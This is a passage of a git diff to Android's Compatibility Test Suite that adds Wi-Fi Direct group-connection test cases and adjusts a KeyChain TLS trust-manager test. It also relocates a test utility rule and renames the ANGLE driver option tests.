+import android.net.wifi.p2p.WifiP2pGroup;
import android.net.wifi.p2p.WifiP2pInfo;
import android.net.wifi.p2p.WifiP2pManager;
@@ -178,4 +179,96 @@
return true;
}
+
+ /**
+ * Tries to connect the target devices with config.
+ * @param config config for connecting a group.
+ * @return true if succeeded.
+ * @throws InterruptedException
+ */
+ protected boolean connectTest(WifiP2pConfig config) throws InterruptedException {
+ notifyTestMsg(R.string.p2p_searching_target);
+
+ /*
+ * Search target device and check its capability.
+ */
+ ActionListenerTest actionListener = new ActionListenerTest();
+ mP2pMgr.discoverPeers(mChannel, actionListener);
+ if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_discover_peers_error);
+ return false;
+ }
+
+ /*
+ * Try to connect the target device.
+ */
+ mP2pMgr.connect(mChannel, config, actionListener);
+ if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_connect_error);
+ return false;
+ }
+
+ /*
+ * Check if the connection broadcast is received.
+ */
+ WifiP2pInfo p2pInfo = mReceiverTest.waitConnectionNotice(TIMEOUT_FOR_USER_ACTION);
+ if (p2pInfo == null) {
+ mReason = mContext.getString(R.string.p2p_connection_error);
+ return false;
+ }
+
+ /*
+ * target MAC address is known until group is formed
+ */
+ WifiP2pGroup group = mReceiverTest.getWifiP2pGroup();
+ if (group != null) {
+ if (!group.isGroupOwner()) {
+ setTargetAddress(group.getOwner().deviceAddress);
+ } else {
+ mReason = mContext.getString(R.string.p2p_connection_error);
+ return false;
+ }
+ } else {
+ mReason = mContext.getString(R.string.p2p_connection_error);
+ return false;
+ }
+
+ /*
+ * Wait until peer gets marked conencted.
+ */
+ notifyTestMsg(R.string.p2p_waiting_for_peer_to_connect);
+ if (mReceiverTest.waitPeerConnected(mTargetAddress, TIMEOUT) != true) {
+ mReason = mContext.getString(R.string.p2p_connection_error);
+ return false;
+ }
+
+ /*
+ * Remove the p2p group manualy.
+ */
+ mP2pMgr.removeGroup(mChannel, actionListener);
+ if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_remove_group_error);
+ return false;
+ }
+
+ notifyTestMsg(R.string.p2p_waiting_for_peer_to_disconnect);
+
+ /*
+ * Check if p2p disconnection broadcast is received
+ */
+ p2pInfo = mReceiverTest.waitDisconnectionNotice(TIMEOUT);
+ if (p2pInfo == null) {
+ mReason = mContext.getString(R.string.p2p_connection_error);
+ return false;
+ }
+
+ /* Wait until peer gets marked disconnected */
+
+ if (mReceiverTest.waitPeerDisconnected(mTargetAddress, TIMEOUT) != true) {
+ mReason = mContext.getString(R.string.p2p_detect_disconnection_error);
+ return false;
+ }
+
+ return true;
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/GoWithConfigTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/GoWithConfigTestCase.java
new file mode 100644
index 0000000..b1d28cd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/GoWithConfigTestCase.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p.testcase;
+
+import android.content.Context;
+import android.net.wifi.p2p.WifiP2pConfig;
+import android.net.wifi.p2p.WifiP2pInfo;
+
+import com.android.cts.verifier.R;
+
+/**
+ * A test case which accepts a connection from p2p client.
+ *
+ * The requester device tries to join this device.
+ */
+public class GoWithConfigTestCase extends TestCase {
+
+ protected P2pBroadcastReceiverTest mReceiverTest;
+
+ public GoWithConfigTestCase(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected void setUp() {
+ super.setUp();
+ mReceiverTest = new P2pBroadcastReceiverTest(mContext);
+ mReceiverTest.init(mChannel);
+ }
+
+ @Override
+ protected boolean executeTest() throws InterruptedException {
+
+ ActionListenerTest listener = new ActionListenerTest();
+
+ /*
+ * Add renderer service
+ */
+ mP2pMgr.addLocalService(mChannel, LocalServices.createRendererService(),
+ listener);
+ if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_add_local_service_error);
+ return false;
+ }
+
+ /*
+ * Add IPP service
+ */
+ mP2pMgr.addLocalService(mChannel, LocalServices.createIppService(),
+ listener);
+ if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_add_local_service_error);
+ return false;
+ }
+
+ /*
+ * Add AFP service
+ */
+ mP2pMgr.addLocalService(mChannel, LocalServices.createAfpService(),
+ listener);
+ if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_add_local_service_error);
+ return false;
+ }
+
+ /*
+ * Start up an autonomous group owner.
+ */
+ WifiP2pConfig config = new WifiP2pConfig.Builder()
+ .setNetworkName("DIRECT-XY-HELLO")
+ .setPassphrase("DEADBEEF")
+ .build();
+ mP2pMgr.createGroup(mChannel, config, listener);
+ if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+ mReason = mContext.getString(R.string.p2p_ceate_group_error);
+ return false;
+ }
+
+ /*
+ * Check whether createGroup() is succeeded.
+ */
+ WifiP2pInfo info = mReceiverTest.waitConnectionNotice(TIMEOUT);
+ if (info == null || !info.isGroupOwner) {
+ mReason = mContext.getString(R.string.p2p_ceate_group_error);
+ return false;
+ }
+
+ // wait until p2p client is joining.
+ return true;
+ }
+
+ @Override
+ protected void tearDown() {
+
+ // wait until p2p client is joining.
+ synchronized (this) {
+ try {
+ wait();
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+
+ if (mP2pMgr != null) {
+ mP2pMgr.cancelConnect(mChannel, null);
+ mP2pMgr.removeGroup(mChannel, null);
+ }
+ if (mReceiverTest != null) {
+ mReceiverTest.close();
+ }
+ super.tearDown();
+ }
+
+ @Override
+ public String getTestName() {
+ return "Accept client connection test";
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java
index 14c3ddb..5cc23f1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java
@@ -22,6 +22,7 @@
import android.content.IntentFilter;
import android.net.wifi.p2p.WifiP2pDevice;
import android.net.wifi.p2p.WifiP2pDeviceList;
+import android.net.wifi.p2p.WifiP2pGroup;
import android.net.wifi.p2p.WifiP2pInfo;
import android.net.wifi.p2p.WifiP2pManager;
import android.net.wifi.p2p.WifiP2pManager.Channel;
@@ -43,6 +44,7 @@
private WifiP2pDeviceList mPeers;
private WifiP2pInfo mP2pInfo;
+ private WifiP2pGroup mP2pGroup;
public P2pBroadcastReceiverTest(Context context) {
this.mContext = context;
@@ -205,6 +207,8 @@
synchronized(this) {
mP2pInfo = (WifiP2pInfo)intent.getParcelableExtra(
WifiP2pManager.EXTRA_WIFI_P2P_INFO);
+ mP2pGroup = (WifiP2pGroup) intent.getParcelableExtra(
+ WifiP2pManager.EXTRA_WIFI_P2P_GROUP);
notifyAll();
}
}
@@ -216,4 +220,8 @@
mPeers = peers;
notifyAll();
}
+
+ public synchronized WifiP2pGroup getWifiP2pGroup() {
+ return mP2pGroup;
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientConfigTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientConfigTestCase.java
new file mode 100644
index 0000000..90a77fc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientConfigTestCase.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.p2p.testcase;
+
+import android.content.Context;
+import android.net.wifi.p2p.WifiP2pConfig;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Test case to join a p2p group with wps push button.
+ */
+public class P2pClientConfigTestCase extends ConnectReqTestCase {
+
+ public P2pClientConfigTestCase(Context context) {
+ super(context);
+ }
+
+ @Override
+ protected boolean executeTest() throws InterruptedException {
+
+ WifiP2pConfig config = new WifiP2pConfig.Builder()
+ .setNetworkName("DIRECT-XY-HELLO")
+ .setPassphrase("DEADBEEF")
+ .build();
+
+ return connectTest(config);
+ }
+
+ private String getListenerError(ListenerTest listener) {
+ StringBuilder sb = new StringBuilder();
+ sb.append(mContext.getText(R.string.p2p_receive_invalid_response_error));
+ sb.append(listener.getReason());
+ return sb.toString();
+ }
+
+ @Override
+ public String getTestName() {
+ return "Join p2p group test (config)";
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientWithConfigTestSuite.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientWithConfigTestSuite.java
new file mode 100644
index 0000000..5e6ae0b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientWithConfigTestSuite.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.p2p.testcase;
+
+import android.content.Context;
+
+import java.util.ArrayList;
+
+/**
+ * Test suite to join a p2p group.
+ */
+public class P2pClientWithConfigTestSuite {
+
+ private static ArrayList<ReqTestCase> sTestSuite = null;
+
+ /**
+ * Return test suite.
+ * @param context
+ * @return
+ */
+ public static ArrayList<ReqTestCase> getTestSuite(Context context) {
+ initialize(context);
+ return sTestSuite;
+ }
+
+ /**
+ * Return the specified test case.
+ * @param context
+ * @param testId
+ * @return
+ */
+ public static ReqTestCase getTestCase(Context context,
+ String testId) {
+ initialize(context);
+
+ for (ReqTestCase test: sTestSuite) {
+ if (test.getTestId().equals(testId)) {
+ return test;
+ }
+ }
+ return null;
+ }
+
+ private static void initialize(Context context) {
+ if (sTestSuite != null) {
+ return;
+ }
+
+ sTestSuite = new ArrayList<ReqTestCase>();
+ sTestSuite.add(new P2pClientConfigTestCase(context));
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java
index 82a99e3..b13902e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java
@@ -46,9 +46,11 @@
import java.security.Key;
import java.security.KeyFactory;
import java.security.KeyStore;
+import java.security.KeyStoreException;
import java.security.Principal;
import java.security.PrivateKey;
import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
import java.security.cert.CertificateFactory;
import java.security.cert.X509Certificate;
import java.security.spec.PKCS8EncodedKeySpec;
@@ -63,6 +65,7 @@
import javax.net.ssl.TrustManager;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509ExtendedKeyManager;
+import javax.net.ssl.X509TrustManager;
import libcore.java.security.TestKeyStore;
import libcore.javax.net.ssl.TestSSLContext;
@@ -282,6 +285,44 @@
}
}
+ static class CustomTrustManager implements X509TrustManager {
+ private final X509TrustManager mOther;
+ private final X509Certificate mDesiredIssuer;
+
+ CustomTrustManager(X509TrustManager other, X509Certificate desiredIssuer) {
+ mOther = other;
+ mDesiredIssuer = desiredIssuer;
+ }
+
+ public void checkClientTrusted(X509Certificate[] chain, String authType)
+ throws CertificateException {
+ mOther.checkClientTrusted(chain, authType);
+ }
+
+ public void checkServerTrusted(X509Certificate[] chain, String authType)
+ throws CertificateException {
+ mOther.checkServerTrusted(chain, authType);
+ }
+
+ public X509Certificate[] getAcceptedIssuers() {
+ // The issuers specified by the default X509TrustManager do not match the
+ // client certificate installed into KeyChain.
+ // Supply an issuers array that is guaranteed to match the issuer of the
+ // client certificate by using the issuer of the client certificate.
+ if (mDesiredIssuer != null) {
+ Log.w(TAG, "Returning certificate with subject "
+ + mDesiredIssuer.getSubjectDN().getName());
+ return new X509Certificate[] { mDesiredIssuer };
+ }
+
+ X509Certificate[] issuers = mOther.getAcceptedIssuers();
+ for (X509Certificate issuer: issuers) {
+ Log.w(TAG, "From other: " + issuer.getSubjectDN().getName());
+ }
+ return issuers;
+ }
+ };
+
private class TestHttpsRequestTask extends AsyncTask<Void, Void, Void> {
@Override
protected Void doInBackground(Void... params) {
@@ -315,8 +356,19 @@
KeyManagerFactory.getDefaultAlgorithm());
kmf.init(mKeyStore, EMPTY_PASSWORD);
SSLContext serverContext = SSLContext.getInstance("TLS");
+
+ X509Certificate desiredIssuer = null;
+ try {
+ desiredIssuer = (X509Certificate) mKeyStore.getCertificateChain(ALIAS)[1];
+ } catch (KeyStoreException e) {
+ log("Error getting client cert: " + e);
+ }
+ CustomTrustManager ctm = new CustomTrustManager(
+ (X509TrustManager) mTrustManagerFactory.getTrustManagers()[0],
+ desiredIssuer);
+
serverContext.init(kmf.getKeyManagers(),
- mTrustManagerFactory.getTrustManagers(),
+ new X509TrustManager[] { ctm },
null /* SecureRandom */);
SSLSocketFactory sf = serverContext.getSocketFactory();
SSLSocketFactory needsClientAuth = TestSSLContext.clientAuth(sf,
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index e2459d0..16f7610 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -32,6 +32,8 @@
private static final String VERSION_NAME = "version_name";
private static final String SYSTEM_PRIV = "system_priv";
private static final String PRIV_APP_DIR = "/system/priv-app";
+ private static final String MIN_SDK = "min_sdk";
+ private static final String TARGET_SDK = "target_sdk";
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -45,6 +47,9 @@
if (pkg.applicationInfo != null) {
String dir = pkg.applicationInfo.sourceDir;
store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
+
+ store.addResult(MIN_SDK, pkg.applicationInfo.minSdkVersion);
+ store.addResult(TARGET_SDK, pkg.applicationInfo.targetSdkVersion);
}
store.endGroup();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
similarity index 98%
rename from tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
rename to common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
index 50e4412..ed45ef4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.autofillservice.cts;
+package com.android.compatibility.common.util;
import android.util.Log;
diff --git a/common/device-side/util/tests/Android.bp b/common/device-side/util/tests/Android.bp
index e38f0f4..2abba37 100644
--- a/common/device-side/util/tests/Android.bp
+++ b/common/device-side/util/tests/Android.bp
@@ -20,6 +20,8 @@
static_libs: [
"compatibility-device-util",
"junit",
+ "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
+ "truth-prebuilt"
],
sdk_version: "test_current",
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
similarity index 98%
rename from tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
rename to common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
index 9a2536a..99ea3c0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
@@ -14,15 +14,14 @@
* limitations under the License.
*/
-package android.autofillservice.cts;
+package com.android.compatibility.common.util;
import static com.google.common.truth.Truth.assertThat;
import static org.mockito.Mockito.verify;
import static org.testng.Assert.expectThrows;
-import android.autofillservice.cts.SafeCleanerRule.Dumper;
-import android.platform.test.annotations.AppModeFull;
+import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
import com.google.common.collect.ImmutableList;
@@ -38,7 +37,6 @@
import java.util.concurrent.Callable;
@RunWith(MockitoJUnitRunner.class)
-@AppModeFull // Unit test
public class SafeCleanerRuleTest {
private static class FailureStatement extends Statement {
diff --git a/hostsidetests/angle/AndroidTest.xml b/hostsidetests/angle/AndroidTest.xml
index 1c3df4e..d6d5d6f 100644
--- a/hostsidetests/angle/AndroidTest.xml
+++ b/hostsidetests/angle/AndroidTest.xml
@@ -19,7 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="graphics" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsAngleDebugOptionTestCases.apk" />
+ <option name="test-file-name" value="CtsAngleDeveloperOptionTestCases.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsAngleIntegrationHostTestCases.jar" />
diff --git a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
index f4a57e2..d0fbe58 100644
--- a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
+++ b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
@@ -43,6 +43,7 @@
private static final EGL10 EGL = (EGL10) EGLContext.getEGL();
private EGLConfig eglConfig;
private EGLDisplay display;
+ private SurfaceHolder mSurfaceHolder;
private String mRenderer = "";
private final String TAG = this.getClass().getSimpleName();
@@ -52,6 +53,7 @@
this.setWillNotDraw(false);
getHolder().addCallback(this);
createEGL();
+ getHolder().getSurface();
}
@TargetApi(VERSION_CODES.JELLY_BEAN_MR1)
diff --git a/hostsidetests/angle/app/debugOption/Android.mk b/hostsidetests/angle/app/developerOption/Android.mk
similarity index 95%
rename from hostsidetests/angle/app/debugOption/Android.mk
rename to hostsidetests/angle/app/developerOption/Android.mk
index 64564c7..3bb059f 100644
--- a/hostsidetests/angle/app/debugOption/Android.mk
+++ b/hostsidetests/angle/app/developerOption/Android.mk
@@ -22,7 +22,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_PACKAGE_NAME := CtsAngleDebugOptionTestCases
+LOCAL_PACKAGE_NAME := CtsAngleDeveloperOptionTestCases
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/angle/app/debugOption/AndroidManifest.xml b/hostsidetests/angle/app/developerOption/AndroidManifest.xml
similarity index 93%
rename from hostsidetests/angle/app/debugOption/AndroidManifest.xml
rename to hostsidetests/angle/app/developerOption/AndroidManifest.xml
index 2ccd7d4..fbafe93 100755
--- a/hostsidetests/angle/app/debugOption/AndroidManifest.xml
+++ b/hostsidetests/angle/app/developerOption/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.angleIntegrationTest.debugOption">
+ package="com.android.angleIntegrationTest.developerOption">
<application>
<uses-library android:name="android.test.runner" />
@@ -31,7 +31,7 @@
<instrumentation
android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.angleIntegrationTest.debugOption" />
+ android:targetPackage="com.android.angleIntegrationTest.developerOption" />
</manifest>
diff --git a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java b/hostsidetests/angle/app/developerOption/src/com/android/angleIntegrationTest/developerOption/AngleDeveloperOptionActivityTest.java
similarity index 73%
copy from hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
copy to hostsidetests/angle/app/developerOption/src/com/android/angleIntegrationTest/developerOption/AngleDeveloperOptionActivityTest.java
index dcb134b..2e5470e 100644
--- a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
+++ b/hostsidetests/angle/app/developerOption/src/com/android/angleIntegrationTest/developerOption/AngleDeveloperOptionActivityTest.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package com.android.angleIntegrationTest.debugOption;
+package com.android.angleIntegrationTest.developerOption;
import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
import com.android.angleIntegrationTest.common.GlesView;
@@ -35,7 +35,7 @@
import java.lang.Override;
@RunWith(AndroidJUnit4.class)
-public class AngleDebugOptionActivityTest {
+public class AngleDeveloperOptionActivityTest {
private final String TAG = this.getClass().getSimpleName();
@@ -43,12 +43,16 @@
public ActivityTestRule<AngleIntegrationTestActivity> rule =
new ActivityTestRule<>(AngleIntegrationTestActivity.class);
- private void validateDebugOption(boolean debugOptionOn) throws Exception {
+ private void validateDeveloperOption(boolean angleEnabled) throws Exception {
AngleIntegrationTestActivity activity = rule.getActivity();
GlesView glesView = activity.getGlesView();
String renderer = glesView.getRenderer();
- if (debugOptionOn) {
+ while(renderer.length() == 0) {
+ renderer = glesView.getRenderer();
+ }
+
+ if (angleEnabled) {
if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
fail("Failure - ANGLE was not loaded: '" + renderer + "'");
}
@@ -61,12 +65,18 @@
}
@Test
- public void testDebugOptionOn() throws Exception {
- validateDebugOption(true);
+ public void testUseDefaultDriver() throws Exception {
+ // The rules file does not enable ANGLE for this app
+ validateDeveloperOption(false);
}
@Test
- public void testDebugOptionOff() throws Exception {
- validateDebugOption(false);
+ public void testUseAngleDriver() throws Exception {
+ validateDeveloperOption(true);
+ }
+
+ @Test
+ public void testUseNativeDriver() throws Exception {
+ validateDeveloperOption(false);
}
}
diff --git a/hostsidetests/angle/app/debugOption/Android.mk b/hostsidetests/angle/app/developerOptionSecondary/Android.mk
similarity index 94%
copy from hostsidetests/angle/app/debugOption/Android.mk
copy to hostsidetests/angle/app/developerOptionSecondary/Android.mk
index 64564c7..c8c94c0 100644
--- a/hostsidetests/angle/app/debugOption/Android.mk
+++ b/hostsidetests/angle/app/developerOptionSecondary/Android.mk
@@ -22,7 +22,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_PACKAGE_NAME := CtsAngleDebugOptionTestCases
+LOCAL_PACKAGE_NAME := CtsAngleDeveloperOptionSecondaryTestCases
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/angle/app/debugOption/AndroidManifest.xml b/hostsidetests/angle/app/developerOptionSecondary/AndroidManifest.xml
similarity index 92%
copy from hostsidetests/angle/app/debugOption/AndroidManifest.xml
copy to hostsidetests/angle/app/developerOptionSecondary/AndroidManifest.xml
index 2ccd7d4..8274dd9 100755
--- a/hostsidetests/angle/app/debugOption/AndroidManifest.xml
+++ b/hostsidetests/angle/app/developerOptionSecondary/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.angleIntegrationTest.debugOption">
+ package="com.android.angleIntegrationTest.developerOptionSecondary">
<application>
<uses-library android:name="android.test.runner" />
@@ -31,7 +31,7 @@
<instrumentation
android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.angleIntegrationTest.debugOption" />
+ android:targetPackage="com.android.angleIntegrationTest.developerOptionSecondary" />
</manifest>
diff --git a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java b/hostsidetests/angle/app/developerOptionSecondary/src/com/android/angleIntegrationTest/developerOptionSecondary/AngleDeveloperOptionActivityTest.java
similarity index 76%
rename from hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
rename to hostsidetests/angle/app/developerOptionSecondary/src/com/android/angleIntegrationTest/developerOptionSecondary/AngleDeveloperOptionActivityTest.java
index dcb134b..2065a04 100644
--- a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
+++ b/hostsidetests/angle/app/developerOptionSecondary/src/com/android/angleIntegrationTest/developerOptionSecondary/AngleDeveloperOptionActivityTest.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package com.android.angleIntegrationTest.debugOption;
+package com.android.angleIntegrationTest.developerOptionSecondary;
import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
import com.android.angleIntegrationTest.common.GlesView;
@@ -35,7 +35,7 @@
import java.lang.Override;
@RunWith(AndroidJUnit4.class)
-public class AngleDebugOptionActivityTest {
+public class AngleDeveloperOptionActivityTest {
private final String TAG = this.getClass().getSimpleName();
@@ -43,12 +43,12 @@
public ActivityTestRule<AngleIntegrationTestActivity> rule =
new ActivityTestRule<>(AngleIntegrationTestActivity.class);
- private void validateDebugOption(boolean debugOptionOn) throws Exception {
+ private void validateDeveloperOption(boolean angleEnabled) throws Exception {
AngleIntegrationTestActivity activity = rule.getActivity();
GlesView glesView = activity.getGlesView();
String renderer = glesView.getRenderer();
- if (debugOptionOn) {
+ if (angleEnabled) {
if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
fail("Failure - ANGLE was not loaded: '" + renderer + "'");
}
@@ -61,12 +61,18 @@
}
@Test
- public void testDebugOptionOn() throws Exception {
- validateDebugOption(true);
+ public void testUseDefaultDriver() throws Exception {
+ // The rules file does not enable ANGLE for this app
+ validateDeveloperOption(false);
}
@Test
- public void testDebugOptionOff() throws Exception {
- validateDebugOption(false);
+ public void testUseAngleDriver() throws Exception {
+ validateDeveloperOption(true);
+ }
+
+ @Test
+ public void testUseNativeDriver() throws Exception {
+ validateDeveloperOption(false);
}
}
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDebugOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDebugOptionHostTest.java
deleted file mode 100644
index ecb206d..0000000
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDebugOptionHostTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.angle.cts;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-
-import com.android.ddmlib.Log;
-
-import java.util.Scanner;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Assume;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests ANGLE Debug Option Opt-In/Out functionality.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsAngleDebugOptionHostTest extends BaseHostJUnit4Test implements IDeviceTest {
-
- private static final String TAG = CtsAngleDebugOptionHostTest.class.getSimpleName();
-
- // System Properties
- private static final String PROPERTY_DISABLE_OPENGL_PRELOADING = "ro.zygote.disable_gl_preload";
- private static final String PROPERTY_GFX_DRIVER = "ro.gfx.driver.0";
-
- // ANGLE
- private static final String ANGLE_DEBUG_OPTION_PKG = "com.android.angleIntegrationTest.debugOption";
- private static final String ANGLE_DEBUG_OPTION_CLASS = "AngleDebugOptionActivityTest";
- private static final String ANGLE_DEBUG_OPTION_ON_METHOD = "testDebugOptionOn";
- private static final String ANGLE_DEBUG_OPTION_OFF_METHOD = "testDebugOptionOff";
- private static final String ANGLE_DEBUG_OPTION_APP = "CtsAngleDebugOptionTestCases.apk";
-
- private boolean isAngleLoadable() throws Exception {
